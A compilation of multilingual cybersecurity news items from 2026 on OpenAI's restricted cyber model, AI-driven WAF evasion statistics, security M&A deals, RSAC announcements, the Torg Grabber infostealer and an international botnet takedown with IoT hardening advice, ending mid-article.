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OpenAI releases ChatGPT 5.6 Cyber, but it's only for approved users
OpenAI has developed a new model called "GPT 5.6 Cyber," designed for vulnerability research, penetration testing, and incident response. OpenAI says GPT 5.6 Cyber is only available to select companies, including Accenture, IBM, Capgemini, Cognizant, EY, KPMG, PwC, NCC Group, and SpecterOps. It's also rolling out to supported security vendors, including Palo Alto Networks, CrowdStrike, Cisco, Sophos, Akamai, Fortinet, and Cloudflare. OpenAI says it won't give regular users access to the underlying models, citing security risks, and it makes sense because models have been abused to launch security attacks. Instead, OpenAI says approved partners will use them inside existing security products, managed services, and customer engagements. "By bringing our frontier cyber models into their services, we can help more defenders find serious vulnerabilities, validate which ones matter, and fix them faster," OpenAI wrote in a blog post. OpenAI offers Daybreak Blue and Daybreak Red for different security work OpenAI says partners can access two versions of ChatGPT's cyber capabilities through what the company calls Daybreak Access. Daybreak Blue is designed for a broad range of defensive security workloads, while Daybreak Red is intended for more specialized and closely governed work. OpenAI says the models can help security teams by: identifying vulnerabilities determining whether a weakness can actually be exploited identifying affected systems developing fixes helping move those fixes into production. Depending on the engagement, partners may use the models for vulnerability discovery and validation, red teaming, penetration testing, incident response, and remediation across enterprise environments. OpenAI says safeguards may include identity verification, clearly defined testing scopes, logging, monitoring, and human oversight. "Access to the underlying models remains with the approved partner and is not transferred directly to the customer," OpenAI explained. "Partners work with organizations to define the boundaries of each engagement, review findings, and apply their expertise before action is taken." The approach gives enterprises access to more advanced AI security capabilities without requiring them to build their own specialized cyber AI infrastructure. OpenAI says cybersecurity providers and consultancies can also apply to join the Daybreak Cyber Partner program, while organizations interested in using the technology can access it through participating security providers. Overall prevention scores can hide what happens after initial access. Once attackers are using valid credentials, prevention drops sharply. The Blue Report 2026 measures defenses technique by technique across 338 million simulations run in customer production environments. Get the report
bleepingcomputer.comAug 10, 2026extracted
WAFを89%すり抜ける事例も──AIが休みなく仕掛けるWeb攻撃、予防策はあるか
「見えないWeb攻撃」──情報漏えい対策の盲点 WAFを89%すり抜ける事例も──AIが休みなく仕掛けるWeb攻撃、予防策はあるか(1/4 ページ) 米Anthropicや米OpenAIなどが開発するフロンティアAIの登場による、脆弱性探索能力の飛躍的な向上が、サイバーセキュリティの攻防を否応なく次のステージに押し上げようとしている。 エージェント型AIによる“マシンスピード”での攻撃が、WebやAPIに具体的にどのようなリスクをもたらすのか。実際に観測されているAIによるWeb攻撃の特徴を分析し、防御側の備えとして何が必要になるかを具体的に探っていこう。 AIでサイバーリスクはどう変わる? フロンティアAIが攻撃に使われることで、何が変わるのだろうか? まず、OSやシステム、プログラムなどの未知の脆弱性が大量に発見できるようになる。Anthropicの「Claude Mythos」の先行利用権を得て自社のサービスの脆弱性を検証した企業は、(AIも組み込まれた)既存の脆弱性検査ツールと比べ、発見される数量も検知の精度もまさに桁違いだとレポートしている。 こうしたモデルは、発見した脆弱性を悪用して攻撃を仕掛けるためのプログラム(エクスプロイトコード)を瞬時に生成する能力も備えている。人力では数日から数週間を要するが、生成AIの能力があれば、わずか数分に短縮される。 AIは、単体では深刻とまではいえない脆弱性を組み合わせ、実システムに対して攻撃を繰り返すことで、防御をすり抜ける道筋を割り出す能力にも長けている。これら一連の手順を、AIが“マシンスピード”で試行し続ける点が最大の脅威となっている。 その一方で、多くの企業や開発ベンダーはアプリケーションの開発に生成AIを用いる「バイブコーディング」を取り入れようとしている。開発の高速化を見込む動きではあるが、一方でセキュリティ面が十分でないコードが量産される恐れもあり、多くの脆弱性を生むリスクが高まっている。 最新AIがWAF防御をすり抜ける? Web攻撃の変化 こうした状況変化の結果、WebサイトやWebアプリケーション、スマートフォンアプリ・サービスで用いられるWeb APIはとあるリスクに直面している。攻撃者が操るAIから、WAF (Web Application Firewall)の検知ルールをすり抜けられるパターンの探索を、絶え間なく受けるリスクが高まっているのだ。 WAFのすりぬけには「難読化」という手法がよく用いられる。Webへの侵害では、Webサーバの背後で動作しているプログラムやデータベースなどの不正な操作を引き起こす命令文を送る。その命令文の途中に特殊な文字を混ぜるなどして、WAFルールで設定された照合用文字列との一致による検知の回避を試みるのが難読化の手口だ。 つまり、AIは「WAFの検知は回避できるが、標的にしたアプリケーションには意図した命令が通る」すり抜けパターンを大量に生成し、自動で試そうとする。 AIが難読化したリクエストが、実際WAFの検知ルールを突破してしまうことは、研究者により検証されている。例えばAIが生成した、SQLインジェクションの派生パターンによる攻撃の試行では、オープンソースのWAFである「ModSecurity」で89%、「AWS WAF」では約41%の攻撃が、それぞれのWAFルールによる検知を回避して突破。同様にクロスサイトスクリプティングでも、80%がModSecurityの検知を突破している。 実際に、クラウド型WAFを企業向けに提供しているAkamai Technologiesでは、攻撃側のAIが生成したと考えられる難読化された攻撃の試行をすでにとらえている。 Copyright © ITmedia, Inc. All Rights Reserved. 「見えないWeb攻撃」──情報漏えい対策の盲点 さまざまなWebサービスが、巧妙に隠された「見えないWeb攻撃」に狙われている。個人情報漏えいや犯罪行為を引き起こしている攻撃の実態を、独自のデータを交えて分析する。
itmedia.co.jpAug 2, 2026extracted
なぜいま「DNS」の見直しが必要? 攻撃者が狙う“6つの設定ミス”
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atmarkit.itmedia.co.jpJul 30, 2026extracted
Cybersecurity M&A Roundup: 26 Deals Announced in May 2026
Twenty-six cybersecurity-related merger and acquisition (M&A) deals were announced in May 2026. For a detailed view of the more than 420 acquisitions announced in 2025, check out SecurityWeek’s annual M&A report. Here are some of the most important cybersecurity M&A deals announced in May 2026: Akamai has agreed to acquire LayerX, a company specializing in AI and browser security, for roughly $205 million in an all-cash deal. LayerX has developed a security platform that provides real-time visibility and control over user and agentic activities across browsers, applications, and IDEs. Its technology enables Akamai to expand its Zero Trust and application security portfolio with AI usage control capabilities. Check Point Software Technologies has acquired the team and intellectual property of AI evaluation startup Deepchecks, reportedly for $10 million to $20 million. The goal of the transaction is to accelerate Check Point’s newly launched Agentic Network Security Orchestration platform. By integrating Deepchecks’ continuous monitoring and LLM evaluation technology, Check Point provides an essential validation layer for autonomous AI security agents. Cisco has announced its intent to acquire Israeli non-human identity security startup Astrix Security for an estimated $400 million. The goal of the transaction is to extend Cisco’s Zero Trust architecture to what it calls the ‘agentic workforce’. By integrating Astrix’s non-human identity management tools directly into Cisco Identity Intelligence, Duo IAM, and Splunk, Cisco plans to give security teams the ability to discover, authenticate, govern, and continuously monitor autonomous AI actors across the enterprise network infrastructure. Cycurion acquires Halo Privacy, HavenX, and Secuvant Publicly traded cybersecurity provider Cycurion, Inc. has announced the acquisition of Halo Privacy, HavenX, and Secuvant. The Secuvant deal was valued at $2.875 million, while specific purchase terms for Halo Privacy and HavenX were withheld. The unified goal of these consecutive acquisitions is to build a massive, end-to-end defense platform that combines Cycurion’s solutions with Halo’s secure communications, HavenX’s forensic attribution capabilities, and Secuvant’s automated SOC-as-a-Service workflows. Data security giant Cyera has completed the acquisition of five-month-old endpoint data protection startup Genie Security for an estimated $50 million. The transaction is designed to expand Cyera’s Data Security Posture Management (DSPM) ecosystem. By absorbing Genie Security’s endpoint telemetry agents into its platform, Cyera aims to address a critical corporate blind spot: preventing sensitive corporate data from being leaked or fed into generative AI tools and autonomous software agents. Data monetization and edge computing firm Datavault AI has entered into a binding letter of intent to acquire cybersecurity vendor CyberCatch in an all-stock transaction valued at roughly $100 million. Once finalized, CyberCatch will operate as a wholly-owned subsidiary, keeping its current management intact. The main goal of the acquisition is to bake CyberCatch’s AI-powered continuous compliance testing and automated penetration tools directly into Datavault AI’s edge GPU processing network. Industrial cybersecurity firm Dragos has acquired xIoT security specialist Phosphorus, a move aimed at strengthening its ability to help organizations secure and manage the growing number of connected devices embedded across critical infrastructure and other operational networks. Cybersecurity ratings firm SecurityScorecard has completed the acquisition of British internet scanning and threat intelligence startup Driftnet for an undisclosed sum. The primary goal of the transaction is to embed Driftnet’s high-fidelity, port-agnostic scanning capabilities into SecurityScorecard’s newly launched TITAN AI engine. Agentic security company Torq has completed the acquisition of fellow Israeli cybersecurity startup Jit for an estimated $70 million. The transaction brings Jit’s entire 30-person team under the Torq umbrella. The primary goal of the acquisition is to append Jit’s advanced AI Context Graph layer directly onto Torq’s AI SOC platform. WatchGuard acquires Perimeters.io WatchGuard Technologies has finalized the acquisition of cloud application security startup Perimeters.io. The goal of the transaction is to absorb Perimeters’ technology to power WatchGuard’s newly launched service, WatchGuard CloudDR. By merging Perimeters’ technology directly into its MSP-focused ecosystem, WatchGuard intends to give its partners a single, multi-tenant dashboard to continuously audit configurations, flag compromised credentials via ITDR, and automatically neutralize shadow AI and shadow IT risks across cloud applications. Cloud security giant Zscaler has announced its intent to acquire AI and data security firm Symmetry Systems. The goal is to bring native identity and data mapping directly into Zscaler’s Zero Trust Exchange. By integrating Symmetry Systems’ access-graph technology, Zscaler will give security teams a centralized visual control plane to track exactly what data autonomous AI agents are touching, enforce absolute least-privilege data policies, and automatically contain anomalous agent behaviors. Other cybersecurity M&A deals announced in May 2026: Boost Security acquires SecureIQx and Korbit.ai Related: Cybersecurity M&A Roundup: 33 Deals Announced in April 2026
securityweek.comJun 8, 2026extracted
Akamai to acquire LayerX for $205 million
Akamai to acquire LayerX for $205 million Akamai has entered into a definitive agreement to acquire LayerX, a provider of browser-based AI usage control and secure enterprise browser (SEB) technology. LayerX’s solutions will extend Akamai’s protection into the browser, where the majority of enterprise tasks now occur and where today’s workforce engages with generative AI applications, SaaS AI solutions, and AI agents. With this acquisition, Akamai is taking a critical step in the evolution of its zero trust security portfolio and addressing one of the most urgent priorities for security leaders in 2026: AI usage control. LayerX supports the most popular browsers, unlike proprietary enterprise browsers that require organizations to switch browsers and disrupt their users. This allows the users to securely continue with their preferred browser without disruption, as well as leverage the new generation of agentic browsers including Atlas, Comet, and others. By accommodating existing browsers, security teams benefit from greater real-time visibility and control over uninhibited use, including when users interact with web content, prompts, file uploads, and SaaS applications. LayerX enables this without infrastructure changes or creating new workforce friction. “Our customers are adopting AI at record speed, and they’re telling us the same thing: Their existing controls cannot see how employees are interacting with AI tools and sharing with large language models,” said Mani Sundaram, EVP and GM, Security Technology Group, Akamai. “The acquisition of LayerX helps close that gap, providing Akamai with a control layer that governs AI at the point of use so enterprises can move at AI speed without compromising safety and compliance.” Combined with Akamai’s existing zero trust portfolio capabilities, which include Zero Trust Network Access (ZTNA), runtime protection of AI applications, and workload-level segmentation of AI inference, Akamai is delivering AI usage control that spans the user, the application, and the infrastructure. Together, these deliver the high-performance, scalable security that customers around the world have relied on for nearly three decades. “Securing human and agentic AI usage has become one of the defining challenges in enterprise security,” said Or Eshed, CEO, LayerX. “We’re giving enterprises the foundation to deploy AI safely at a global scale by bringing LayerX’s technology together with Akamai’s Zero Trust portfolio and the world’s most distributed edge platform. We are thrilled to have the opportunity to accelerate our security vision through this deal.” LayerX employees, including Co-Founders Or Eshed and David Vaisbrud, will join Akamai’s zero trust organization. As Akamai’s fourth Tel Aviv–based cybersecurity acquisition in the past five years, LayerX will further the technical depth and expertise of its growing cybersecurity innovation hub in the region. Under terms of the agreement, Akamai has agreed to acquire all of the outstanding equity of LayerX for approximately $205 million, after giving effect to expected purchase price adjustments. The closing of the transaction, which is subject to customary closing conditions, is expected to occur in the third quarter of 2026. The acquisition is anticipated to be dilutive to Akamai’s non-GAAP EPS by approximately $0.12 for fiscal year 2026, and the LayerX business is expected to have annual recurring revenue at year end of approximately $10 million.
helpnetsecurity.comMay 15, 2026extracted
Akamai to Acquire AI and Browser Security Firm LayerX for $205 Million
Cloud computing, security and CDN provider Akamai announced on Thursday that it has agreed to acquire LayerX, a company specializing in AI and browser security, for roughly $205 million in an all-cash deal. LayerX, which has raised a total of $45 million, has developed a security platform that provides real-time visibility and control over user and agentic activities across browsers, applications, and IDEs. The company’s solutions address AI-related risks through features such as shadow AI discovery, gen-AI data loss prevention, access controls for AI tools, misuse detection, and protection for AI browsers and plugins. LayerX also covers traditional browser security needs like extension management, safe browsing, and secure access. LayerX technology enables Akamai to expand its Zero Trust and application security portfolio with AI usage control capabilities. LayerX co-founders and employees will join Akamai’s Zero Trust organization. Akamai told SecurityWeek that it will keep the LayerX brand for a short period of time before integrating it into the Akamai brand. The deal, subject to standard closing conditions, is expected to be completed in the third quarter of 2026. The LayerX business is projected to reach approximately $10 million in annual recurring revenue by year-end, with the acquisition anticipated to dilute Akamai’s non-GAAP EPS by roughly $0.12 in fiscal 2026. LayerX in recent months reported finding several vulnerabilities, including one exposing AI agents to takeover, as well as attacks involving data-stealing browser extensions. This is Akamai’s second acquisition in the past year, after it acquired serverless WebAssembly company Fermyon in December 2025. SecurityWeek tracked more than 420 acquisitions in 2025, and a detailed analysis of those deals is available. We have cataloged more than 150 cybersecurity M&A transactions to date in 2026. *updated to include that it was an all-cash deal and that the LayerX brand will remain for a short period before being integrated into the Akamai brand Related: Cybersecurity M&A Roundup: 33 Deals Announced in April 2026 Related: OpenAI to Acquire AI Security Startup Promptfoo Related: Cybersecurity M&A Roundup: 38 Deals Announced in March 2026
securityweek.comMay 14, 2026extracted
バイブコーディングが“脆弱性の温床”に? APIへの攻撃が113%増――AI時代の攻撃実態
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atmarkit.itmedia.co.jpApr 21, 2026extracted
RSAC 2026 Conference Announcements Summary (Days 3-4)
As hundreds of vendors descend on San Francisco for the RSAC 2026 Conference, the sheer volume of news can be overwhelming. To help you navigate the noise, SecurityWeek is providing a daily digest of the most significant announcements. Below is our curated roundup of essential news from the third and fourth days of the event (as well as some announcements we may have missed in the previous days). Roundups of announcements from day 1, day 2, and the days leading up to the conference are also available. Accenture has introduced Cyber.AI, a new cybersecurity solution that uses Anthropic’s Claude model as a central reasoning engine to automate security workflows. The platform integrates a library of autonomous agents to synthesize security data and provide contextual insights throughout the security lifecycle. It features a specialized component called Agent Shield to monitor and govern these autonomous agents in real-time to ensure they adhere to defined organizational policies. Akamai and Bolster AI detect brand impersonation and phishing Bolster AI and Akamai have teamed up to help organizations detect and disrupt brand impersonation and phishing campaigns targeting their customers. The new Brand Guardian solution combines Akamai’s global internet infrastructure with Bolster’s AI-driven fraud detection and automated takedown technology to detect impersonation campaigns earlier, observe attacks from the victim’s perspective, disrupt campaigns using automated investigation and takedown workflows, and understand campaign impact. Arctic Wolf Labs has analyzed over 22,000 AI‑assisted malware samples and found that a significant share of this malware is novel and harder to catch with traditional tools—39% initially evaded signature-based detection. While AI increases the scale of threats, most activity is not tied to sophisticated or known actors, and the resulting malware can still be detected with the right layered defenses. Barracuda Networks has announced enhancements to its BarracudaONE cybersecurity platform, along with a revamped global Partner Success Program, aimed at strengthening cyber resilience and supporting partner growth. The platform updates boost protection across email, network access, and generative AI usage. Barracuda has overhauled its Partner Success Program, creating a unified model for MSPs, resellers, and hybrid partners with expanded benefits and incentives. CrowdStrike announced the Charlotte AI AgentWorks ecosystem for building secure agents, with launch partners including Accenture, AWS, Anthropic, Deloitte, Kroll, NVIDIA, OpenAI, Salesforce, and Telefónica Tech. The ecosystem enables customers to leverage CrowdStrike’s no-code development platform and frontier AI models to securely build, orchestrate, and scale custom security agents, while opening new opportunities for partners to create agentic security businesses on the Falcon platform. CyberProof MDR analysts and threat researchers have identified a significant surge in PXA Stealer activity targeting global financial institutions during Q1 2026. These campaigns primarily leverage phishing emails containing malicious URLs that trigger the download of compromised ZIP attachments. Threat actors have demonstrated high levels of adaptability, utilizing diverse lures ranging from curriculum vitae and Adobe Photoshop installers to tax forms and legal documentation. Following the 2025 takedowns of major infostealers such as Lumma, Rhadamanthys, and RedLine, CyberProof observed that PXA Stealer activity has filled the resulting vacuum, seeing an estimated growth of 8-10%. Cyber Sierra announced a new collaboration with ST Engineering’s Cyber business to help organisations bring together AI‑driven governance and frontline cybersecurity operations for continuous, outcome-focused cyber resilience. DigiCert has introduced several updates to its Document Trust Manager platform to streamline digital signing workflows and enhance key security. The system now features centralized key management (eliminating the need for physical tokens by providing secure cloud-based storage for signing certificates). New unified workflows provide enterprise-wide visibility into signing activities (allowing administrators to monitor document integrity and track usage across the organization). The platform also supports various global PKI standards to ensure compliance with regional regulatory requirements for cross-border digital transactions. Ironscales announced ‘Email Attack of the Day,’ an ongoing email threat intelligence blog series spotlighting recent, real phishing attacks caught by the organization’s adaptive AI and its community of 30,000+ security professionals. Each post breaks down one attack — what it looked like, why it worked, and what users can do about it. The company also introduced new email security agents that anticipate, investigate, and prepare for advanced phishing attacks. Menlo Security has released a platform designed to monitor and control the activities of autonomous AI agents operating within web browsers. The platform provides visibility into agent-driven web sessions to prevent unauthorized data exfiltration and ensure compliance with corporate governance standards. The solution allows organizations to define granular permissions for AI agents. Minimus announced a new open source program that provides maintainers with free access to hardened container images, SBOM generation and analysis, and real-time threat intelligence. The initiative aims to close the security gap for open source projects that underpin critical infrastructure but lack enterprise-grade supply-chain security tooling. Accepted projects can integrate Minimus images into their pipelines to reduce attack surface, gain visibility into dependencies, and accelerate vulnerability remediation. Nile has updated its networking platform to incorporate “datacenter-class” security features designed to limit lateral movement within campus and branch environments. The architecture utilizes AI-driven automation to enforce granular micro-segmentation. By integrating these controls directly into the network fabric, the system aims to contain potential breaches by reducing the available attack surface. Singapore-based pQCee has introduced a crypto-agile Cryptography Next Generation (CNG) provider for Microsoft Windows. It allows enterprises, governments, and regulated industries to rapidly adopt post-quantum cryptographic algorithms, comply with national security requirements, and prepare for integration with emerging quantum hardware. The solution provides seamless support for custom post-quantum algorithms and implementations directly within Windows. Protos Labs has introduced a free tier of Protos AI, its agentic AI platform designed to automate the collection and analysis of cyber threat intelligence (CTI). The system utilizes specialized AI agents to execute tasks across the CTI lifecycle (including planning, evidence collection, and citation-backed reporting). The platform is model-agnostic and functions independently of existing security stacks to build ‘organizational intelligence memory’ by linking threat entities across historical investigations. Human analysts maintain control by approving investigation plans and validating the agents’ outputs before dissemination. Quokka Q-scout now integrates with Microsoft Sentinel to centralize mobile application risk intelligence across Microsoft Intune-managed devices. The connector automatically ingests app inventories from Intune, analyzes them using Quokka’s mobile app vetting engines, and streams security, privacy, and compliance risk findings into Sentinel. The Qualys Threat Research Unit (TRU) released what it described as the largest remediation study ever conducted, examining more than 1 billion CISA KEV records across over 10,000 organizations spanning four years. The study found that vulnerability volume has increased 6.5x in the last three years, while exploitation timelines have collapsed to -1 days. Despite processing more tickets, security teams left 63% of critical vulnerabilities open on day 7 in 2025, a deterioration from 56% in 2022. Out of 52 actively weaponized vulnerabilities that were analyzed, half were exploited before public disclosure. Singapore-based Scantist has announced the US launch of PAIStrike, an autonomous penetration testing platform designed to validate real-world security risks. PAIStrike functions as a coordinated multi-agent system that autonomously analyzes targets, devises multi-step attack strategies, executes exploits, evaluates results, and dynamically adjusts its tactics in real time. Skyhigh Security announced new capabilities for its Security Service Edge (SSE) platform. The company introduced new offerings and updates to strengthen its platform, including Next-Generation SSE Hybrid and Secure Browser Controls solutions, along with updates to Skyhigh DSPM to create a unified view of data risk across multi-vendor environments. Vorlon has launched two new products, AI Agent Flight Recorder and AI Agent Action Center, to provide forensics and coordinated response for enterprise AI and SaaS environments. The Flight Recorder uses intelligent simulation technology to capture a continuous audit trail of agent actions across various identities, APIs, and data classifications. To address identified risks, the Action Center prioritizes security findings and routes remediation guidance to relevant stakeholders. These tools integrate with existing security workflows, including SIEM and SOAR platforms.
securityweek.comMar 27, 2026extracted
New Torg Grabber infostealer malware targets 728 crypto wallets
A new info-stealing malware called Torg Grabber is stealing sensitive data from 850 browser extensions, more than 700 of them for cryptocurrency wallets. Initial access is obtained through the ClickFix technique by hijacking the clipboard and tricking the user into executing a malicious PowerShell command. According to researchers at cybersecurity company Gen Digital, Torg Grabber is actively developed, with 334 unique samples compiled in three months (between December 2025 and February 2026) and new command-and-control (C2) servers registered every week. Apart from cryptocurrency wallets, Torg Grabber steals data from 103 password managers and two-factor authentication tools, and 19 note-taking apps. Rapid evolution In a technical report this week, Gen Digital researchers say that Torg Grabber's initial builds used a Telegram-based and then a custom, encrypted TCP protocol for data exfiltration. On December 18, 2025, the two mechanisms were abandoned in favor of an HTTPS connection routed through Cloudflare infrastructure. The method supports chunked data uploads and payload delivery. The malware features several anti-analysis mechanisms, multi-layered obfuscation, and uses direct syscalls and reflective loading for evasion, running the final payload entirely in memory. On December 22, 2025, Torg Grabber added App-Bound Encryption (ABE) bypass to beat Chrome’s (and Brave's, Edge's, Vivaldi's, and Opera's) cookie protection system, like many other information stealers. However, the researchers also discovered a standalone tool called Underground, used for extracting browser data. It injects a DLL reflectively into the browser to access Chrome’s COM Elevation Service and extract the master encryption key, a method also recently seen in VoidStealer. Extensive data theft capabilities Gen Digital found that Torg Grabber targets 25 Chromium-based browsers and 8 Firefox variants, trying to steal credentials, cookies, and autofill data. Of the 850 browser extensions it targets, 728 are for cryptocurrency wallets, covering "essentially every crypto wallet ever conceived by human optimism." "The marquee names are all there - MetaMask, Phantom, TrustWallet, Coinbase, Binance, Exodus, TronLink, Ronin, OKX, Keplr, Rabby, Sui, Solflare," the researchers say. "But the list doesn’t stop at the big names. It keeps going, deep into the long tail, past projects with install counts you could fit in a phone booth." Apart from wallets, the malware also targets a large list of 103 extensions for passwords, tokens, and authenticators: LastPass, 1Password, Bitwarden, KeePass, NordPass, Dashlane, ProtonPass, Enpass, Psono, Pleasant Password Server, heylogin, 2FAAuth, GAuth, TOTP Authenticator, and Akamai MFA. Torg Grabber also targets information from Discord, Telegram, Steam, VPN apps, FTP apps, email clients, password managers, and desktop cryptocurrency wallet apps. The malware can also profile the host, create a hardware fingerprint, document installed software (including 24 antivirus tools), take screenshots of the user’s desktop, and steal files from the Desktop/Documents folders. Also notable is its capability to execute shellcode on the compromised device, delivered in ChaCha-encrypted zlib-compressed form from the C2. Gen Digital cautions that Torg Grabber continues to develop rapidly, registering new C2 domains weekly, and that its operator base is expanding, with 40 tags documented by the time of analysis. Overall prevention scores can hide what happens after initial access. Once attackers are using valid credentials, prevention drops sharply. The Blue Report 2026 measures defenses technique by technique across 338 million simulations run in customer production environments. Get the report
bleepingcomputer.comMar 25, 2026extracted
Akamai Brand Guardian detects and removes AI-driven brand impersonation
Akamai Brand Guardian detects and removes AI-driven brand impersonation Akamai has introduced Akamai Brand Guardian, an evolution of Brand Protector that uses AI to identify and manage brand impersonation at scale. Scammers are exploiting the widespread availability of generative AI to deploy sophisticated fake websites and digital identities in seconds, making it nearly impossible for businesses to keep pace using manual discovery methods. For companies in sectors like financial services, retail, and healthcare, these fraudulent sites threaten digital integrity, which often leads to lost revenue and damaged customer relationships. Akamai Brand Guardian addresses this challenge by replacing reactive responses with continuous, AI-powered monitoring and risk-based enforcement. This approach helps shield organizations from the velocity of modern brand abuse with automated takedowns that are performed with 99.99% accuracy. “Automation has fundamentally changed how scammers operate, turning detecting fake sights into a high-stakes game of Whac-A-Mole for security teams,” said Sean Lyons, SVP and GM of Application and Infrastructure Security at Akamai. “Akamai Brand Guardian provides security and legal teams with the visibility they need to stay ahead of these threats. By using AI to monitor the internet, we help our customers identify and remove fraudulent content much faster than was previously possible.” Akamai Brand Guardian uses the company’s extensive visibility into global internet traffic to find and assess threats. By integrating brand protection capabilities into the broader security workflow, Akamai helps organizations: Detect threats automatically: AI-driven monitoring scans the internet for fraudulent assets and look-alike domains, identifying them before customers can report them. Prioritize high-value risks: The solution uses real-time data to highlight which threats pose the most significant risk to the business, allowing teams to focus their efforts on the most impactful attacks. Accelerate response times: Automated workflows help teams investigate and automatically take down fraudulent sites quickly, accelerating response times to match the pace at which scammers generate them. Build a more complete defense: Integrating brand abuse data with broader security insights gives companies a clearer, more comprehensive picture of their overall digital risks. Brand Guardian uses refined AI models to ensure that the alerts received by security teams are accurate, actionable, and focused on protecting the customer experience.
helpnetsecurity.comMar 25, 2026extracted
IoT insicuro by design: le botnet smantellate dagli USA sono un sintomo, non la malattia
C’è qualcosa di profondamente inquietante nell’idea che il router Wi-Fi, anche quello usato per guardare serie TV in streaming o per far fare i compiti ai nostri figli, possa essere stato arruolato in un esercito digitale criminale a nostra insaputa. È esattamente quello che è accaduto con le botnet Aisuru, KimWolf, JackSkid e Mossad, che per fortuna sono state smantellate il 20 marzo 2026 in un’operazione internazionale coordinata che non ha precedenti per scala e complessità. Nelle quattro botnet insieme, infatti, si contavano tre milioni di dispositivi compromessi che hanno consentito tra l’altro anche di condurre attacchi DDoS che hanno raggiunto il picco di 31,4 terabit al secondo, una cifra che supera qualsiasi record precedente nel panorama delle minacce informatiche. I bersagli includevano sistemi del Dipartimento della Difesa degli Stati Uniti e infrastrutture critiche e aziende private in tutto il mondo. E, dietro a tutto questo, un modello di business sofisticato come quello del cybercrime-as-a-service in cui la capacità distruttiva veniva “noleggiata” al miglior offerente. Indice degli argomenti Secondo quanto comunicato dal Dipartimento di Giustizia degli Stati Uniti, l’operazione ha visto la partecipazione della Defense Criminal Investigative Service (DCIS) e dell’FBI sul fronte americano, del Bundeskriminalamt (BKA) e della ZAC NRW in Germania, e della Royal Canadian Mounted Police (RCMP) insieme a Ontario Provincial Police (OPP) e Sûreté du Québec (SQ) in Canada. Un’alleanza investigativa che ha portato al sequestro di domini internet e server virtuali utilizzati per il comando e controllo (C2) delle botnet, recidendo così il legame tra gli operatori criminali e i milioni di dispositivi infetti. Determinante il contributo del settore privato: dell’imponente operazione di polizia, infatti, hanno fatto parte anche una dozzina di aziende tecnologiche e organizzazioni di threat intelligence, tra cui Cloudflare, Akamai, Amazon Web Services e The Shadowserver Foundation, che hanno fornito supporto tecnico essenziale. Un elemento che merita attenzione inquanto è ormai evidente che, sempre più spesso, le grandi operazioni di contrasto al cybercrime non sarebbero possibili senza questa collaborazione pubblico-privato, a testimonianza del fatto che la sicurezza informatica è ormai una questione di ecosistema e non di singoli attori. Il meccanismo alla base di queste botnet era, nella sua essenza, alquanto semplice: trovare dispositivi IoT esposti su internet con vulnerabilità note o credenziali di default, infettarli con malware e aggregarli in una rete controllata centralmente dai server C2. Da quel momento in poi, ogni dispositivo compromesso diventava potenzialmente un’arma nelle mani degli attaccanti. Particolarmente preoccupante era la capacità dimostrata da KimWolf e JackSkid di compromettere dispositivi protetti da firewall tradizionali. Questo rappresenta un salto qualitativo significativo rispetto alle botnet di precedente generazione: non è più sufficiente posizionare un device dietro un NAT o un firewall perimetrale per ritenersi al sicuro. I criminali hanno affinato tecniche che sfruttano protocolli di rete legittimi, UPnP mal configurato o vulnerabilità nel firmware per raggiungere dispositivi teoricamente isolati. Una volta costruita la rete, gli operatori non la utilizzavano esclusivamente in proprio: la affittavano ad altri criminali attraverso un modello di cybercrime-as-a-service. I clienti pagavano per lanciare attacchi DDoS contro obiettivi specifici, spesso con finalità estorsive portate avanti con la rituale formula del “paga o la tua infrastruttura smette di funzionare”. Come riportato dagli investigatori, i danni per le vittime private hanno raggiunto decine di migliaia di dollari tra perdite dirette e costi di remediation d’emergenza. Al di là della straordinaria dimensione operativa, la vicenda delle quattro botnet smantellate dagli USA pone sul tavolo alcune questioni di carattere strutturale che, chiunque si occupi di sicurezza informatica, non può ignorare. Queste quattro botnet non sono un’anomalia, ma il sintomo di un ecosistema IoT strutturalmente fragile. Miliardi di dispositivi vengono immessi sul mercato con firmware minimale, password di default identiche per tutti gli esemplari del modello, nessun meccanismo di aggiornamento automatico e cicli di vita del prodotto che superano di gran lunga il supporto software del produttore. Quando un router da 30 euro resta in uso per 8 anni e smette di ricevere patch di sicurezza dopo 18 mesi dall’acquisto, il risultato quasi inevitabile è che diventa una risorsa per i criminali. Il volume di traffico raggiunto da queste botnet non è un numero da leggere distrattamente: per dare un’idea della scala, è sufficiente considerare che un attacco DDoS da 31,4 Tbps è sufficiente a saturare la connettività Internet di intere nazioni di medie dimensioni. Significa che anche organizzazioni con infrastrutture anti-DDoS robuste e progettate per assorbire picchi nell’ordine dei terabit, si troverebbero in seria difficoltà. Ciò significa che il settore della mitigazione DDoS dovrà necessariamente ripensare le proprie architetture di riferimento. Il fatto che tra i target figurino indirizzi IP gestiti dal Department of Defense Information Network (DoDIN) suggerisce che almeno parte di questi attacchi avesse una valenza strategica che va oltre la semplice estorsione economica. Non è possibile escludere che la capacità di queste botnet venisse utilizzata o venduta anche per finalità di disruption di infrastrutture militari e governative, con implicazioni che toccano la sicurezza nazionale. Questa operazione di law enforcement è una buona notizia, ma non risolve il problema alla radice. I dispositivi precedentemente infetti sono stati “liberati” dalla disconnessione dei server C2, ma restano vulnerabili e possono essere re-infettati in qualsiasi momento. Ecco le azioni concrete che consiglio, sia ai privati che alle organizzazioni. Cambiare subito le password di default. Router, webcam, NAS, smart TV, termostati intelligenti: qualsiasi dispositivo connesso alla rete deve avere una password univoca e robusta. Le credenziali di fabbrica sono pubblicamente note e sistematicamente sfruttate dai bot di scansione. Aggiornare il firmware. Verificare mensilmente se sono disponibili aggiornamenti per tutti i dispositivi IoT. Se un produttore non rilascia più patch, valutare la sostituzione del dispositivo o l’adozione di firmware alternativi open source (es. OpenWrt per i router). Segmentare la rete domestica. Se il router lo permette (come nella maggior parte dei modelli moderni), è utile creare una rete Wi-Fi dedicata per i dispositivi IoT, separata da quella usata per navigare con PC e smartphone. In questo modo, un dispositivo compromesso non avrà accesso diretto agli altri. Disabilitate UPnP e il port forwarding non necessario. L’Universal Plug and Play è una funzionalità conveniente ma pericolosa: permette ai dispositivi di aprire automaticamente porte sul router, facilitando l’accesso dall’esterno. Disabilitarlo se non strettamente necessario. Monitorate il traffico anomalo. Consumi di banda insolitamente elevati nelle ore notturne, rallentamenti inspiegabili della connessione: possono essere segnali di un dispositivo infetto che partecipa a un attacco. Alcuni router offrono strumenti di monitoraggio del traffico integrati. Inventario completo degli asset IoT. Non si può proteggere ciò che non si conosce. Il primo passo è un asset inventory aggiornato che includa tutti i dispositivi connessi alla rete aziendale, compresi quelli di terze parti (stampanti, sistemi di videosorveglianza, sensori industriali, dispositivi medicali). Strumenti come Nmap, Shodan Enterprise o soluzioni dedicate come Claroty e 